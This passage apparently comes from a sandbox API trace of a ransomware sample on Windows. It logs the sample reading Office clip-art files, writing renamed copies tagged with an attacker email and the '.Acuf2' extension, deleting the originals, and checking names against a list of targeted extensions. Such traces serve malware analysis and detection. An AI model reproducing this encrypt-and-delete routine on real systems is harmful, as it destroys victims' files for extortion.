	[0261.056] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.056] GetLastError () returned 0x0
	[0261.057] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xed4, lpOverlapped=0x0) returned 1
	[0261.058] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xee0, lpOverlapped=0x0) returned 1
	[0261.059] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.059] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.059] SetEndOfFile (hFile=0x330) returned 1
	[0261.059] CloseHandle (hObject=0x330) returned 1
	[0261.059] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.059] SetEndOfFile (hFile=0x334) returned 1
	[0261.061] CloseHandle (hObject=0x334) returned 1
	[0261.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1
	[0261.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63
	[0261.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63
	[0261.061] lstrlenW (lpString=".doc") returned 4
	[0261.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.061] lstrlenW (lpString=".docx") returned 5
	[0261.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.062] lstrlenW (lpString=".pdf") returned 4
	[0261.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.062] lstrlenW (lpString=".xls") returned 4
	[0261.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.062] lstrlenW (lpString=".xlsx") returned 5
	[0261.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.062] lstrlenW (lpString=".ppt") returned 4
	[0261.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63
	[0261.062] lstrlenW (lpString=".zip") returned 4
	[0261.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.062] lstrlenW (lpString=".rar") returned 4
	[0261.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.062] lstrlenW (lpString=".bz2") returned 4
	[0261.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.062] lstrlenW (lpString=".7z") returned 3
	[0261.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63
	[0261.062] lstrlenW (lpString=".dbf") returned 4
	[0261.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63
	[0261.062] lstrlenW (lpString=".1cd") returned 4
	[0261.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63
	[0261.062] lstrlenW (lpString=".jpg") returned 4
	[0261.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.063] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2024) returned 1
	[0261.063] CloseHandle (hObject=0x334) returned 1
	[0261.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20
	[0261.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.063] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.063] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.063] GetLastError () returned 0x0
	[0261.063] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x7e8, lpOverlapped=0x0) returned 1
	[0261.065] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x7f0, lpOverlapped=0x0) returned 1
	[0261.066] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.066] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.066] SetEndOfFile (hFile=0x330) returned 1
	[0261.066] CloseHandle (hObject=0x330) returned 1
	[0261.066] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.066] SetEndOfFile (hFile=0x334) returned 1
	[0261.069] CloseHandle (hObject=0x334) returned 1
	[0261.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1
	[0261.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63
	[0261.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63
	[0261.069] lstrlenW (lpString=".doc") returned 4
	[0261.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.069] lstrlenW (lpString=".docx") returned 5
	[0261.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.069] lstrlenW (lpString=".pdf") returned 4
	[0261.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.069] lstrlenW (lpString=".xls") returned 4
	[0261.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.069] lstrlenW (lpString=".xlsx") returned 5
	[0261.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.069] lstrlenW (lpString=".ppt") returned 4
	[0261.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63
	[0261.069] lstrlenW (lpString=".zip") returned 4
	[0261.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.069] lstrlenW (lpString=".rar") returned 4
	[0261.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.070] lstrlenW (lpString=".bz2") returned 4
	[0261.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.070] lstrlenW (lpString=".7z") returned 3
	[0261.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63
	[0261.070] lstrlenW (lpString=".dbf") returned 4
	[0261.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63
	[0261.070] lstrlenW (lpString=".1cd") returned 4
	[0261.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63
	[0261.070] lstrlenW (lpString=".jpg") returned 4
	[0261.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.070] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2084) returned 1
	[0261.070] CloseHandle (hObject=0x334) returned 1
	[0261.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20
	[0261.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.071] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.071] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.071] GetLastError () returned 0x0
	[0261.071] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x824, lpOverlapped=0x0) returned 1
	[0261.073] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x830, lpOverlapped=0x0) returned 1
	[0261.073] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.073] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.073] SetEndOfFile (hFile=0x330) returned 1
	[0261.073] CloseHandle (hObject=0x330) returned 1
	[0261.073] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.073] SetEndOfFile (hFile=0x334) returned 1
	[0261.075] CloseHandle (hObject=0x334) returned 1
	[0261.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1
	[0261.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63
	[0261.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63
	[0261.076] lstrlenW (lpString=".doc") returned 4
	[0261.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.076] lstrlenW (lpString=".docx") returned 5
	[0261.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.076] lstrlenW (lpString=".pdf") returned 4
	[0261.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.076] lstrlenW (lpString=".xls") returned 4
	[0261.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.076] lstrlenW (lpString=".xlsx") returned 5
	[0261.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.076] lstrlenW (lpString=".ppt") returned 4
	[0261.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63
	[0261.077] lstrlenW (lpString=".zip") returned 4
	[0261.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.077] lstrlenW (lpString=".rar") returned 4
	[0261.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.077] lstrlenW (lpString=".bz2") returned 4
	[0261.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.077] lstrlenW (lpString=".7z") returned 3
	[0261.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63
	[0261.077] lstrlenW (lpString=".dbf") returned 4
	[0261.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63
	[0261.077] lstrlenW (lpString=".1cd") returned 4
	[0261.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63
	[0261.077] lstrlenW (lpString=".jpg") returned 4
	[0261.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.122] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1448) returned 1
	[0261.122] CloseHandle (hObject=0x330) returned 1
	[0261.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20
	[0261.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.123] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.123] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.123] GetLastError () returned 0x0
	[0261.123] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5a8, lpOverlapped=0x0) returned 1
	[0261.137] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0261.138] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.138] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.138] SetEndOfFile (hFile=0x220) returned 1
	[0261.138] CloseHandle (hObject=0x220) returned 1
	[0261.138] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.138] SetEndOfFile (hFile=0x330) returned 1
	[0261.140] CloseHandle (hObject=0x330) returned 1
	[0261.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1
	[0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63
	[0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63
	[0261.141] lstrlenW (lpString=".doc") returned 4
	[0261.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.141] lstrlenW (lpString=".docx") returned 5
	[0261.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.141] lstrlenW (lpString=".pdf") returned 4
	[0261.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.141] lstrlenW (lpString=".xls") returned 4
	[0261.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.141] lstrlenW (lpString=".xlsx") returned 5
	[0261.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.141] lstrlenW (lpString=".ppt") returned 4
	[0261.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63
	[0261.141] lstrlenW (lpString=".zip") returned 4
	[0261.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.141] lstrlenW (lpString=".rar") returned 4
	[0261.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.141] lstrlenW (lpString=".bz2") returned 4
	[0261.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.141] lstrlenW (lpString=".7z") returned 3
	[0261.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63
	[0261.141] lstrlenW (lpString=".dbf") returned 4
	[0261.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63
	[0261.142] lstrlenW (lpString=".1cd") returned 4
	[0261.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63
	[0261.142] lstrlenW (lpString=".jpg") returned 4
	[0261.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.142] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=8564) returned 1
	[0261.142] CloseHandle (hObject=0x330) returned 1
	[0261.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20
	[0261.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.142] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.142] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0261.143] GetLastError () returned 0x0
	[0261.143] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2174, lpOverlapped=0x0) returned 1
	[0261.152] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2180, lpOverlapped=0x0) returned 1
	[0261.153] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.153] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.153] SetEndOfFile (hFile=0x220) returned 1
	[0261.153] CloseHandle (hObject=0x220) returned 1
	[0261.153] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.153] SetEndOfFile (hFile=0x330) returned 1
	[0261.155] CloseHandle (hObject=0x330) returned 1
	[0261.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1
	[0261.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63
